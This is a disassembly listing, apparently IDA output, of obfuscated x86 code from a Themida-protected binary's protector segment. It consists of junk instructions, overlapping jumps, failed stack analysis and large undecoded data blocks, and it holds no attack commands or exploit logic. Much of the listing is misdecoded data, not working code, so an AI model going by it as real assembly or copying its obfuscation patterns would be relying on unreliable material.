; START	OF FUNCTION CHUNK FOR sub_603DC7


loc_603E4B:				; CODE XREF: sub_603DC7:loc_603DE3j
		mov	edi, edx
		pusha
		mov	esi, eax
		mov	edi, 637C7E18h
		popa
		mov	eax, edi
		adc	si, 31A3h
		push	edx
		or	si, 0ED98h
		pop	edi
		stc
		jmp	loc_603E78
; END OF FUNCTION CHUNK	FOR sub_603DC7
; ---------------------------------------------------------------------------
		dw 8AE2h
		dd 0D6D5EA07h, 1FAABE1Bh, 7370850h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_603DC7


loc_603E78:				; CODE XREF: sub_603DC7+9Ej
		mov	cx, di
		mov	edi, ebx
		mov	eax, ecx
		mov	edx, ebx
		pusha
		stc
		add	edx, 57CFBB0h	; CODE XREF: sub_603EBE+25j
		popa
		mov	di, bx
		call	sub_603E97
		xor	bh, [edi]
		sbb	al, 2Ch
		push	ecx
; END OF FUNCTION CHUNK	FOR sub_603DC7

; =============== S U B	R O U T	I N E =======================================



sub_603E97	proc near		; CODE XREF: sub_603DC7+C6p
		mov	dl, 0F2h
		pop	esi
		mov	edx, 778B8B23h
		movzx	esi, ax
		mov	esi, 0B801831h
		pusha
		mov	si, ax
		mov	cl, 0F8h
		popa
		pusha
		call	sub_603EBE
		pop	ebx
		pushf
		wait
		add	bh, [ebx+4D45C334h]
		xchg	eax, ebx
sub_603E97	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_603EBE	proc near		; CODE XREF: sub_603E97+18p
		jo	$+6
		pop	edi
		mov	dh, 17h
		popa
		jbe	loc_603ED1
		mov	ax, dx


loc_603ED1:				; CODE XREF: sub_603EBE+Aj
		mov	esi, 5225A380h
		pusha
		ja	near ptr loc_603EEE+4
		call	near ptr loc_603EEE+3
		pop	es
		jp	short near ptr loc_603E83+2
		cmp	bl, ah
		push	ebx
		db	66h
		sub	al, 0E3h
		mov	gs, sp
		std


loc_603EEE:				; CODE XREF: sub_603EBE+1Fp
					; sub_603EBE+19j
		cmp	ds:8166605Fh[ecx*8], ch
sub_603EBE	endp ; sp-analysis failed

		neg	byte ptr [esi]
		push	edi
		mov	edi, 641D3ED8h
		popa
		popa
		jmp	loc_603F14
; ---------------------------------------------------------------------------
		adc	dl, ah
		push	ds
		rcr	dword ptr [ecx], cl
		mov	esp, 8A495425h
		cmp	al, 0DDh
		pop	ebx
		test	ah, al
		dec	esp


loc_603F14:				; CODE XREF: Themida_:00603EFFj
		mov	ah, dh
		call	sub_603F25
		loop	near ptr loc_603F8A+1
		sar	byte ptr [edi+15h], cl
		fstp9	st(3)
		iret
; ---------------------------------------------------------------------------
		cmpsd
		wait

; =============== S U B	R O U T	I N E =======================================



sub_603F25	proc near		; CODE XREF: Themida_:00603F16p
		movsx	edi, cx
		pop	esi
		sub	cx, 224Ah
		clc
		stc
		jmp	loc_603F49
; ---------------------------------------------------------------------------
		or	dl, 0D4h
		div	byte ptr [edi-65CD727Eh]
		mov	cl, 0A8h
		sbb	al, 27h
		adc	ebp, ebp
		db	64h
		aas
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------


loc_603F49:				; CODE XREF: sub_603F25+Bj
		mov	si, di
		adc	ch, 0C6h
		mov	al, bl
		mov	cx, 8D08h
		add	bx, 7B23h
		mov	dl, bh
		mov	ax, 2251h
		mov	dh, 80h
		movsx	ecx, di
		stc
		js	loc_603F73
		push	esi
		mov	edx, 30BAFFD3h
		pop	edi


loc_603F73:				; CODE XREF: sub_603F25+41j
		movzx	esi, bx
		jmp	loc_603F85
; ---------------------------------------------------------------------------
		db 0C1h
		dd 977B4A7Fh, 9874E1FDh
; ---------------------------------------------------------------------------
		inc	ebx


loc_603F85:				; CODE XREF: sub_603F25+51j
		adc	di, 27F0h


loc_603F8A:				; CODE XREF: Themida_:00603F1Bj
		jmp	loc_603F9E
; ---------------------------------------------------------------------------
		fisttp	qword ptr [ecx-3F0948E6h]
		xchg	eax, edx
		push	0FFFFFFE3h
		lodsb
		cdq
		xchg	eax, ecx
		sbb	[edx+42h], edx


loc_603F9E:				; CODE XREF: sub_603F25:loc_603F8Aj
		clc
		mov	bx, 27Ch
		add	ax, 42A0h
		jmp	loc_603FBE
; ---------------------------------------------------------------------------
		db 61h,	3Bh, 7Ch
		dd 0B66F87E7h, 52029001h, 0A3BF81DDh
		db 5Ah,	0
; ---------------------------------------------------------------------------


loc_603FBE:				; CODE XREF: sub_603F25+83j
		mov	si, dx
		jmp	loc_603FD1
; ---------------------------------------------------------------------------
		dw 3A63h
		dd 56FB4DBDh, 0F1F35B22h
		db 8
; ---------------------------------------------------------------------------


loc_603FD1:				; CODE XREF: sub_603F25+9Cj
		mov	eax, edx
		mov	si, 0E0AFh
		jmp	loc_603FF0
; ---------------------------------------------------------------------------
		dd 0BAF8E855h, 64B21132h, 788360CAh, 6A767FDDh,	601FBA2Fh
; ---------------------------------------------------------------------------


loc_603FF0:				; CODE XREF: sub_603F25+B2j
		mov	esi, edx
		movzx	ecx, si
		jmp	loc_60400B
; ---------------------------------------------------------------------------
		dw 7332h
		dd 0E02D2768h, 0D61BEE5Fh, 31263751h
		db 53h,	0E5h, 0DBh
; ---------------------------------------------------------------------------


loc_60400B:				; CODE XREF: sub_603F25+D0j
		pusha
		mov	ax, 27h
		jg	$+6
		popa
		mov	ebx, 3F4202F2h
		xor	si, 0B055h
		push	ebx
		jmp	loc_604037
; ---------------------------------------------------------------------------
		db 0A9h
		dd 593BEC2Ch, 0DF0E522Dh, 7587AD1Ah
		db 0Ch,	65h, 0Dh
; ---------------------------------------------------------------------------


loc_604037:				; CODE XREF: sub_603F25+FDj
		pop	ebx
		jns	loc_60403F
		stc


loc_60403F:				; CODE XREF: sub_603F25+113j
					; sub_604095+1Bj
		jmp	loc_60404D
; ---------------------------------------------------------------------------
		dd 7CDFA005h, 7B0E762Bh
; ---------------------------------------------------------------------------
		stosd


loc_60404D:				; CODE XREF: sub_603F25:loc_60403Fj
		call	near ptr loc_604053+4
		insb


loc_604053:				; CODE XREF: sub_603F25:loc_60404Dp
		mov	ebp, 5B045A9Fh
sub_603F25	endp ; sp-analysis failed

		cmc
		jmp	loc_604069
; ---------------------------------------------------------------------------
		cmp	[edi+7Bh], bh
		mov	ah, [esi-73DB0B64h]
		xor	al, 0E2h


loc_604069:				; CODE XREF: Themida_:00604059j
		and	edx, 0F2007EDh
		adc	edi, 1374F706h
		push	edi
		mov	si, ax
		pop	ecx
		push	esi
		pop	esi
		call	sub_604095
		shr	dword ptr [eax], 1
		jmp	far ptr	0B923h:82A580B0h
; ---------------------------------------------------------------------------
		dw 0E3A2h
		dd 379C97E4h, 9C10848Bh
		db 3Eh

; =============== S U B	R O U T	I N E =======================================



sub_604095	proc near		; CODE XREF: Themida_:0060407Cp
		mov	si, cx
		pop	ebx
		clc
		jmp	loc_6040A7
; ---------------------------------------------------------------------------
		and	[edi-64C2A562h], ebx
		lea	esi, [ecx]


loc_6040A7:				; CODE XREF: sub_604095+5j
		or	ah, 0Bh
		push	ecx
		call	near ptr loc_6040BD+1
		jns	short near ptr loc_60403F+3
		push	79h
		arpl	di, dx
		mov	edx, 0D9A4AE77h
		mov	dl, 0BCh


loc_6040BD:				; CODE XREF: sub_604095+16p
		adc	al, 0E9h
sub_604095	endp ; sp-analysis failed

		sldt	word ptr [eax]
		add	[edi+2Dh], bh
		sub	[esi-0AE4DCFCh], dh
		or	[eax-2D5DD126h], edx
		jmp	short loc_60412B
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0F37953BFh, 75E2815Fh, 0E83A76A3h, 0Ah, 973CE4AAh, 0DBB3EC84h
		dd 53562373h, 0F5B5A5Eh, 0B88h,	5880F00h, 0B9000000h, 5FDFA7DCh
		dd 0A3C68166h, 7E8CDh, 0CEE90000h, 0A121DD32h, 84E2810Fh
		dd 5B058366h, 5E8h, 62FE0A00h, 870F98DAh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_60412B:				; CODE XREF: Themida_:006040D1j
		add	[esi-7Fh], ah
		shl	byte ptr [esi],	0FBh
		pop	ebx
		jnb	loc_604157
		call	sub_604150
		and	al, 8Eh
		out	dx, eax
		in	al, 0E3h
		xchg	cl, [edi+6Ah]
		push	ds
		jmp	near ptr 484374EDh
; ---------------------------------------------------------------------------
		db 32h
		dd 8744395Ch

; =============== S U B	R O U T	I N E =======================================



sub_604150	proc near		; CODE XREF: Themida_:00604138p
		jbe	$+6
		pop	esi


loc_604157:				; CODE XREF: Themida_:00604132j
		mov	ax, 9B88h
		adc	bl, 5Eh
		push	edx
		mov	ax, cx
		pop	eax
		mov	dx, 877Fh
		mov	si, 0ED06h
		movsx	edx, dx
		mov	edi, 2A4B1907h
		and	esi, 8D9D7A5h
		call	sub_60418E
		imul	edi, [edi+esi+6Bh], -78h
		sbb	edi, [eax]
		sub	bh, dl
		movsb
		cmc
		fdiv	qword ptr [edx+esi*4]
		or	edi, esi
sub_604150	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60418E	proc near		; CODE XREF: sub_604150+29p
		mov	edi, edx
		pop	ebx
		mov	ebx, 4322B395h
		mov	eax, 292E3B84h
		call	near ptr loc_6041B0+1
		mov	[ebx-54h], edi
		icebp
		xor	edi, [eax-13h]
		lds	edi, [ecx-17C53B94h]
		aaa
		out	98h, eax


loc_6041B0:				; CODE XREF: sub_60418E+Dp
		cmp	al, 0E9h
sub_60418E	endp ; sp-analysis failed

		adc	eax, [eax]
; ---------------------------------------------------------------------------
		dd 0DBB20000h, 0EF9BE7D0h, 3D4E3B2Bh, 0C5EBEE7h, 0AD244384h
		dd 0BA5158E1h, 18EEC5F9h, 605E5058h, 0AABAD5B9h, 8B666073h
		dd 0C68166FAh, 616159FEh, 0AE9E28Ah, 47000000h,	5A6FFBE4h
		dd 0C33E53B4h, 66F38A17h, 8166D18Bh, 0F1946EFh,	383h, 0C7B70F00h
		dd 52D68B66h, 4E8ABB66h, 94F6815Eh, 81465CB6h, 28B939E0h
		dd 0DF8B6642h, 0B9D0BF0Fh, 6AC3CA39h, 17E08166h, 800FD4h
		dd 50000000h, 6059DA8Bh, 5E9h, 0DC1C0F00h, 5260B72Dh, 6161F85Eh
		dd 4820Fh, 0B8660000h, 870F0CEDh, 2, 0D68BCE8Bh, 18E0FF5h
		dd 0FC000000h, 188D0Fh,	0E9570000h, 11h, 71713CFEh, 6A5F3C6Ch
		dd 131A6DCEh, 4B9213EFh, 0E2815B69h, 0FECBD1Bh,	0FD98B66h
		dd 58Ah, 0F0816600h, 0B70FD3DBh, 5820FDFh, 0BF000000h
		dd 6CE2842Ah, 0D9B3D781h, 8AF87108h, 605256FAh,	66595861h
		dd 0F3CE9B8h, 6660F1BFh, 6F11DA81h, 61E0C780h, 6860Fh
		dd 0F0810000h, 209F984h, 81D78B66h, 6E8944CAh, 8166F827h
		dd 0E9D510CBh, 6, 9C869EB3h, 0F381B0D4h, 1D4D2491h, 0EFCB8166h
		dd 8C0F48h, 80000000h, 13E8B3CFh, 0D4000000h, 1565A4EAh
		dd 767E14CDh, 31281E1Bh, 11A7459Dh, 5FF9B36Dh, 665AF850h
		dd 0CE9CF8Bh, 89000000h, 1F4286ECh, 0F0A010B8h,	0F257CC1h
		dd 8Ah,	0DE8B6600h, 0AE9h, 0BD33000h, 65C88403h, 0E9FDD031h
		dd 5, 9254BCEh,	93DB8060h, 8463F3BFh, 9E954h, 83EC0000h
		dd 22D84564h, 60F8133Dh, 0AE9h,	39FE0300h, 0BD960706h
		dd 0F3EC9B1h, 689h, 8E0F00h, 61000000h,	7F2295B8h, 6E904h
		dd 0F8510000h, 0C907FFDDh, 0DE9h, 0BFB39000h, 32E88FE5h
		dd 69137C67h, 0EE9A6B3h, 0C000000h, 5584719h, 3E73082Ch
		dd 0CB56F263h, 13E9D2h,	77E60000h, 1D814B0Ah, 8BA98004h
		dd 4F231846h, 0BC7F6321h, 0FCD681D3h, 66053CB3h, 0BB66F18Bh
		dd 0CF81B21Ch, 739E4211h, 0C266BF66h, 58C0Fh, 81660000h
		dd 0E99448E1h, 8, 62C745FDh, 1A7F1189h,	14E8F5h, 0BE3D0000h
		dd 0A2BA8854h, 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 0C480396Eh
		dd 0E9F8591Bh, 14h, 14D235D4h, 0B1CE6615h, 359E40B4h, 63540764h
		dd 986AF9C0h, 0CE8h, 0BEE86B00h, 68354A59h, 0B6CCED09h
		dd 38B0F90h, 80000000h,	0B8584DD4h, 502038A5h, 4ECE3EBFh
		dd 0C781663Ch, 13E91C9Fh, 82000000h, 141AD47Eh,	71088A9Dh
		dd 1D935C5h, 4B28C851h,	9E81BEFh, 0BF000000h, 647E926Ch
		dd 541B94D6h, 463B966h,	8B0F5258h, 6, 8B0Fh, 0F5F0000h
		dd 0FE9FEB7h, 5000000h,	5EA3A396h, 0B286DC5Fh, 38C9F333h
		dd 10E99FD8h, 0C5000000h, 0D309B6E7h, 99DEB772h, 0BA1B9203h
		dd 0B43C5073h, 5502B87Dh, 13E91215h, 0F0000000h, 22CFB0FFh
		dd 21EC921Ah, 0E21F2C22h, 27EBCEC0h, 8B0FF0F6h,	2, 0E96075B2h
		dd 9, 5D3CA49h,	8DE953F5h, 0B70F6187h, 8E956F1h, 5B000000h
		dd 0DAEDEF2h, 5E374E55h, 8166AEB4h, 0F1ABCCEh, 48Eh, 14BE6600h
		dd 0F565083h, 8Ch, 0FC585E00h, 0ABDB8160h, 0B9055D9Bh
		dd 2A4AAD66h, 66CE8B61h, 22AFEB81h, 0BE8h, 0F8F4200h, 0BFCF83C5h
		dd 60F9A6E1h, 0DD9CD4BAh, 2FB25E6Fh, 6E8h, 60FB0700h, 66D09D8Ah
		dd 0F30C781h, 0B856605Eh, 56A0BE55h, 0D181605Bh, 6F89E779h
		dd 8E8h, 20E33E00h, 0CC5412BBh,	61615A6Fh, 12C78166h, 80E38A9Ah
		dd 0BF66C8C6h, 850F7EFEh, 0Ah, 0F616060h, 8Fh, 8B666100h
		dd 0B6BE66CFh, 0B850F23h, 0E9000000h, 6, 4795E409h, 8B937C4h
		dd 661BD001h, 8242C681h, 58DA8B57h, 0F6BD180h, 182h, 6E9FC00h
		dd 9C000000h, 0B32535B9h, 9E9A2h, 8A9D0000h, 35C57108h
		dd 0FC5101D9h, 0CE9CB8Bh, 64000000h, 70C4F2D9h,	90AF4933h
		dd 0F567200h, 58Dh, 0C0816600h,	0CE96068h, 0F2000000h
		dd 5FC0D932h, 1A25C20Eh, 0E9C578DBh, 5,	5196D32Dh, 0BB666077h
		dd 8B665F19h, 59BF61F1h, 665C29F3h, 12E8F18Bh, 52000000h
		dd 0A38119AEh, 5736BAB4h, 593499E9h, 0AC1D99B0h, 0CB816653h
		dd 815B6A9Bh, 6F17DAC6h, 0D681664Eh, 0B966FA5Eh, 0DA8B5992h
		dd 158B0Fh, 10E90000h, 2E000000h, 87ABFDF1h, 59E61893h
		dd 77283422h, 0E912EF0Ch, 12h, 61BF4F81h, 67261554h, 737D13D0h
		dd 87A9F9Dh, 0D3BA24C1h, 8A76299Dh, 73D780E3h, 7E9F88Bh
		dd 0
		dd 0D786BBA4h, 81663647h, 0F6E28EAh, 1F8Dh, 198E0F00h
		dd 0E8000000h, 13h, 0A6941399h,	0F4ED61F6h, 3260D337h
		dd 0CE76EB6Fh, 5EE48A81h, 61DDC681h, 0BF0F124Ah, 14E9DBh
		dd 7FA60000h, 6ED57299h, 1ED247C3h, 0B1C2E2C1h,	0A7E4F3E0h
		dd 0B70F1D96h, 8AE78ADBh, 7810FEFh, 50000000h, 0A7FB4DBBh
		dd 8B665A2Dh, 0A9E980DFh, 0DE8h, 3C2E0C00h, 8864E881h
		dd 23EB6A2Ah, 77B9B130h, 5F38356Eh, 0BE8h, 0CB144800h
		dd 0A41F1EE8h, 0C346C478h, 3840Fh, 8B660000h, 5E958C7h
		dd 53000000h, 36C4689Ah, 0F05882BBh, 0F18B662Ah, 0E0FDE881h
		dd 77B67561h, 6850Fh, 0DA810000h, 69605CDAh, 14E8h, 0F5DB5D00h
		dd 570E5AC9h, 0A4FF44F1h, 172B6BD8h, 1558B79Ch,	12E842h
		dd 18ED0000h, 0B3A269F0h, 833567B1h, 829AADFFh,	0CF400BD2h
		dd 40FEBA66h, 0EB815A5Eh, 5962D179h, 0DE9h, 83AE400h, 511CF201h
		dd 6361541Dh, 5E8073Fh,	0E8000000h, 0E983DF0Dh,	5E8h, 5D9C4500h
		dd 42BF6D2Ah, 5E7637DAh, 24B9605Fh, 6147E0A9h, 0BE860F5h
		dd 6C000000h, 5388B34Bh, 95D85EB2h, 0F5BF2693h,	5E241131h
		dd 8A615F52h, 0F8FB1C7h, 88h, 0E9CF8B00h, 11h, 0E8A88DF0h
		dd 863ECCD5h, 2915B93Ch, 0DA2A9865h, 98F48050h,	6597BF66h
		dd 10E8h, 0E4C09800h, 82DD2DD2h, 0EC430C2Bh, 0B66B9560h
		dd 0FFBF6675h, 0F605E5Bh, 0E681FEB7h, 719472Ah,	17EB8161h
		dd 6008A434h, 40DB8166h, 15DE8175h, 61163242h, 12E8CF8Bh
		dd 5F000000h, 13626145h, 7B52A837h, 8646E1DFh, 727BC774h
		dd 0CE90Fh, 0D1D50000h,	0C10DC266h, 5CA0CCF7h, 505FD3C7h
		dd 5149F081h, 0E9584B0Eh, 0Bh, 552E9756h, 3BD21261h, 0F543B1B7h
		dd 6410BA66h, 0CE8h, 999A8A00h,	1AAF7307h, 8A19D9DDh, 6870F6Ch
		dd 0F000000h, 87h, 0FF55B00h, 8B66FEB7h, 0F38166D8h, 800F3C1Ch
		dd 19h,	14E9h, 709DEA00h, 33ED6672h, 423A8694h,	0F9BAB94Bh
		dd 155062CCh, 8F0F8Ah, 0E8000000h, 7, 11C73A4Dh, 0E9768E0Dh
		dd 0Fh,	30B5485Dh, 44808933h, 0F72B8B5Ch, 58DFEB86h, 0A46F2BBFh
		dd 0DE85Eh, 0ACCB0000h,	48F295E1h, 0E8F01160h, 665EA9CDh
		dd 0E958DF8Bh, 0Fh, 0A7C0D1C7h,	0ECD4F8E2h, 898D8323h
		dd 0B99BC86Ah, 5876F005h, 2830Fh, 0B2B30000h, 68C0F60h
		dd 0F000000h, 8Ch, 0CF816600h, 8161DDC1h, 9CAC48C7h, 0EDDB813Ch
		dd 5621D68Bh, 8B58FE8Ah, 0C2DE81C2h, 0F90D4D57h, 0E8C1B70Fh
		dd 13h,	0ED479472h, 1345414Ah, 0D9F6EE80h, 989D42CCh, 0E8228DF2h
		dd 12h,	3D7E7D34h, 0AC35D657h, 2DC7862Bh, 3C307880h, 5F5BD323h
		dd 4810Fh, 60560000h, 12E95861h, 0
		dd 0F55A66D9h, 0A6451232h, 6198F245h, 0C2E6C3BFh, 3840F8Dh
		dd 0F000000h, 8A0FC8B7h, 4, 5BDA8A57h, 7E9h, 8B5FA300h
		dd 814288ECh, 604CD380h, 0FC26E580h, 0AE961h, 94600000h
		dd 1A237BDh, 0F19C39C4h, 5E9h, 0F36EC500h, 0B656D91Ah
		dd 0C18B586Bh, 118E0Fh,	5E80000h, 0E2000000h, 2F6DD56Bh
		dd 0B8FFC881h, 66591810h, 0D413E981h, 0FCEB70Fh, 0A8Bh
		dd 5E900h, 1A3F0000h, 8BEA890Dh, 98F0FCFh, 0F000000h, 385h
		dd 0DBB70F00h, 0AE950h,	0D7100000h, 2519B21h, 0E0FE9849h
		dd 2850F59h, 8A000000h,	0AE956F7h, 0F9000000h, 827BB7B5h
		dd 0CE7F25A9h, 8E959E8h, 6000000h, 0AD381A9h, 661FA6DFh
		dd 1E35DE81h, 0CEBFBAB6h, 601BD540h, 784B866h, 61F3BF0Fh
		dd 14E9F8h, 0C50F0000h,	0E1BFCF83h, 9860F9A6h, 0BD1E565Fh
		dd 0D78A12C9h, 0BF0FFF9Bh, 0FED781FFh, 6674B616h, 0E9B895BEh
		dd 0Dh,	98115843h, 9940E536h, 0DDEA9F4Dh, 92D18169h, 606E8EA2h
		dd 0F5C8BF0Fh, 0B866FC61h, 13E90586h, 1F000000h, 60F7A04h
		dd 87EB6E8Dh, 18F16353h, 8E456AE4h, 10E9503Eh, 0E0000000h
		dd 0C45D7E9Dh, 15A1A795h, 24BA5261h, 0B10A2F7Ah, 0C28B66D6h
		dd 6097F280h, 4860Fh, 0B8660000h, 0BF0F67E8h, 0C28B61C6h
		dd 2890F57h, 8A000000h,	0C78B5AC5h, 0FCDFBF0Fh,	8303BB66h
		dd 0FA16EB81h, 8B6635BEh, 0E9F2B7FEh, 6, 376DADF8h, 5EB96ED2h
		dd 0F675591h, 480h, 24BE6600h, 66DD8AFBh, 669F0EB8h, 8B5F1DBFh
		dd 0D08B66F3h, 272EB866h, 0BE8h, 9CAD6100h, 684FF425h
		dd 1F0B5F23h, 2DD0F381h, 665A6F73h, 8B6A2BBEh, 8B6660D7h
		dd 0C6B7B9DAh, 0F615184h, 89h, 0AE900h,	12460000h, 0B8E2E731h
		dd 6B9AECFDh, 13E8h, 26082900h,	671AD93Ch, 23A9A814h, 961EA16Eh
		dd 9DF891F6h, 5F5BF557h, 158E0Fh, 10E90000h, 0F5000000h
		dd 73B32479h, 0A0A75E7Bh, 527ED8A1h, 0FFC7161h,	988h, 38D0F00h
		dd 0F000000h, 5FBFFBB7h, 0B92EA171h, 11FC9009h,	0E911FFBAh
		dd 5E92Fh, 87840000h, 813F18E2h, 725104F2h, 94BA660Ch
		dd 0E9A5B6DCh, 14h, 0EE8F3B4Ah,	35381C0Bh, 0A5CB8FDEh
		dd 539721BBh, 1C870B3h,	0E7D88166h, 0FA8B66C6h,	0FF3B70Fh
		dd 387h, 0F88B6600h, 9E9h, 157C1100h, 0FEA2A21Eh, 0B70FC2CAh
		dd 0B131BFC2h, 0BF0F774Ch, 0BA66F9C3h, 0CA818872h, 156406DCh
		dd 0A8D0Fh, 0F600000h, 8Ah, 61C18A00h, 8BD1B70Fh, 0F08166F3h
		dd 0B966AC35h, 0BE96AF5h, 6A000000h, 0B0B4619Fh, 7B45196Ah
		dd 81666578h, 0E995A0CBh, 14h, 0CBD5D162h, 0D70FB1CBh
		dd 3E22CB86h, 7FD12C9Ch, 5FD93DAh, 0F02EB80h, 2089h, 1A810F00h
		dd 0E8000000h, 14h, 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h
		dd 3F9EEA16h, 0BE06BB5Eh, 8A0F4D51h, 3,	0E973C980h, 0Ah
		dd 0DAF9CAFh, 4F03844Ch, 8B66EF01h, 0CE8F2h, 92850000h
		dd 8A0F4EFDh, 4C979402h, 9CB5C136h, 515CB159h, 0F210BF66h
		dd 6BB86658h, 0F18166C8h, 8F0F5858h, 0
; ---------------------------------------------------------------------------
		call	sub_604D46
		aaa
		add	ecx, 0Dh
		mov	esi, 0C2FDBE24h

; =============== S U B	R O U T	I N E =======================================



sub_604D46	proc near		; CODE XREF: Themida_:00604D38p
		cmc
		pop	edx
		jg	loc_604D60
		jmp	loc_604D60
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		cmp	al, 38h
		aad	1Ch
		retn	389Bh
; ---------------------------------------------------------------------------
		db 0AAh
		dd 8D4A41C9h
; ---------------------------------------------------------------------------


loc_604D60:				; CODE XREF: sub_604D46+2j
					; sub_604D46+8j
		mov	al, 81h
		cmc
		movsx	esi, bx
		add	bh, 9Ah
		jns	loc_604D70
		cmc


loc_604D70:				; CODE XREF: sub_604D46+23j
		mov	si, ax
		sbb	edi, 68270DAh
		call	loc_604D88
		cmp	[ecx+edi*8-41023D0Ah], dh
		adc	al, 11h
		pop	esp
sub_604D46	endp ; sp-analysis failed



loc_604D88:				; CODE XREF: sub_604D46+33p
		pop	eax
		jnz	loc_604D92
		mov	bx, ax


loc_604D92:				; CODE XREF: Themida_:00604D89j
		mov	dx, 0D068h
		movzx	eax, dx
		clc
		pusha
		mov	bx, 204Ch
		movzx	ecx, ax
		popa
		jp	loc_604DAB
		mov	esi, eax


loc_604DAB:				; CODE XREF: Themida_:00604DA3j
		pusha
		jmp	loc_604DC4
; ---------------------------------------------------------------------------
		db 0E8h, 5Bh, 0A1h
		dd 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 0A29D7C59h
; ---------------------------------------------------------------------------


loc_604DC4:				; CODE XREF: Themida_:00604DACj
		jmp	loc_604DD4
; ---------------------------------------------------------------------------
		db 4Ch,	87h, 0FAh
		dd 5A29A01Fh, 6FD868EEh
; ---------------------------------------------------------------------------


loc_604DD4:				; CODE XREF: Themida_:loc_604DC4j
		popa
		movzx	edx, dx
		mov	bx, 2220h
		xor	esi, 68F7EA6Fh
		mov	ebx, 26A42692h
		mov	ah, 79h
		cld
		and	edi, 33DC585h
		cmc
		jmp	loc_604DFC
; ---------------------------------------------------------------------------
		test	eax, 9727F27Ah
		leave


loc_604DFC:				; CODE XREF: Themida_:00604DF1j
		clc
		mov	bh, 0ABh
		mov	dh, 3Eh
		call	sub_604E12
; ---------------------------------------------------------------------------
		dw 95FEh
		dd 2DEC9E19h, 0A384EC47h
		db 49h,	0BFh

; =============== S U B	R O U T	I N E =======================================



sub_604E12	proc near		; CODE XREF: Themida_:00604E01p
		call	loc_604E22
		add	bl, [eax-11BAF56Fh]
		and	esp, ecx
		sub	ah, [esi]
		into
sub_604E12	endp ; sp-analysis failed



loc_604E22:				; CODE XREF: sub_604E12p
		add	ax, 52ABh
		pop	esi
		pop	ecx
		mov	dx, 314Bh
		adc	edx, 443C58BBh
		mov	edi, 40CF8E44h
		mov	eax, edi
		pusha
		jmp	loc_604E4B
; ---------------------------------------------------------------------------
		dd 5CBDC32Ch, 0B159332h
		db 0DDh, 0C0h, 33h
; ---------------------------------------------------------------------------


loc_604E4B:				; CODE XREF: Themida_:00604E3Bj
		call	near ptr sub_604E56
; ---------------------------------------------------------------------------
		dd 0B37DD362h
		db 0FAh, 0B3h

; =============== S U B	R O U T	I N E =======================================



sub_604E56	proc far		; CODE XREF: Themida_:loc_604E4Bp
		mov	dh, cl
		pop	ecx
		popa
		mov	al, dh
		adc	si, 0AAF0h
		jmp	loc_604E77
; ---------------------------------------------------------------------------
		fcmovne	st, st(2)
		cmp	eax, 0DF45450Bh
		retf
; ---------------------------------------------------------------------------
		dw 0CDD5h
		dd 99A55154h
		db 78h,	63h, 4
; ---------------------------------------------------------------------------


loc_604E77:				; CODE XREF: sub_604E56+Bj
		jmp	loc_604E8E
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 0EC12h
		dd 125EECA1h, 2AB413B9h, 0EAB696DEh
		db 3Eh,	14h
; ---------------------------------------------------------------------------


loc_604E8E:				; CODE XREF: sub_604E56:loc_604E77j
		clc
		mov	edi, eax
		mov	edx, edi
		mov	cl, al
		call	sub_604EAA
		dec	ecx
		db	67h
		sbb	eax, 97EE631Ah
		mul	al
		into
		retf
sub_604E56	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6Ah,	22h, 0E7h
		db 9Dh,	6Bh

; =============== S U B	R O U T	I N E =======================================



sub_604EAA	proc near		; CODE XREF: sub_604E56+3Fp
		push	ecx
		or	di, 7Dh
		pop	edi
		pop	edi
		mov	ah, 0CEh
		call	near ptr loc_604EC8+1
		imul	edi, [ebx], 733714A4h
		fucomip	st, st(1)
		push	ecx
		pusha
		xor	ch, 60h
		add	al, 0A5h


loc_604EC8:				; CODE XREF: sub_604EAA+Ap
		fisub	word ptr [esi-7Fh]
sub_604EAA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0DBh
		dd 665AD2E7h, 0DDAFCF81h, 0FE8h, 14E7700h, 0F745EDF8h
		dd 2994AC70h, 5BED1E46h, 8F0Fh,	8A580000h, 7436BAF9h, 0B70F0024h
		dd 0FC28BC9h, 0BF0FF3B7h, 0B5B966D0h, 8166573Ch, 5BA1F4E7h
		dd 0F07BB66h, 810F5CB6h, 4, 3182B966h, 45D706B9h, 0D38B6619h
		dd 0CE9h, 0B64ED200h, 7F73D7D2h, 0B660770Ch, 8B5652CCh
		dd 665E5EFBh, 0E90422BAh, 0Bh, 2C348606h, 980A1249h, 66DABD09h
		dd 8783CA81h, 11E9h, 0E8BC0600h, 0EB093ED9h, 75EAA7F8h
		dd 79DCA871h, 16B8255Dh, 0E91559F9h, 12h, 9BEC8CDCh, 0DDC776B2h
		dd 0C5D42F64h, 0DBC60F3Ah, 0E9516084h, 0Ah, 8DE7521Ch
		dd 2D6E5745h, 0E85FA3A1h, 0Dh, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h
		dd 48F0F82h, 66000000h,	5E673EB9h, 9E8h, 7C3F5200h, 9FBB0B8Bh
		dd 5BF86748h, 0EE9h, 0A7399100h, 2D5E41D5h, 0B435EED1h
		dd 0BF8D4C24h, 6731A3B7h, 8ACA8B66h, 0EB8166D5h, 8C0F46F9h
		dd 1, 0E4D8BFF8h, 0CE857B7h, 33000000h,	0B32B27C6h, 0DEB536E8h
		dd 0E96C9A0Fh, 0Bh, 23F6A8BBh, 60CD298Dh, 5BCD3D6Ch, 0FFE8BFCh
		dd 380h, 68EE8000h, 8E8h, 0BC2B9200h, 8B50B8DFh, 0C28B5A9Fh
		dd 8291B966h, 8E9h, 8ABE7B00h, 5CA403EBh, 12E86Bh, 0EA890000h
		dd 3F8A8A07h, 705A73E4h, 195DC509h, 61B42056h, 820F53h
		dd 5A000000h, 0C68B6659h, 8166C18Bh, 665D06CAh,	60A7F8B9h
		dd 6E9h, 2A806F00h, 0F4BDC92h, 380h, 0D0BF0F00h, 0C1816661h
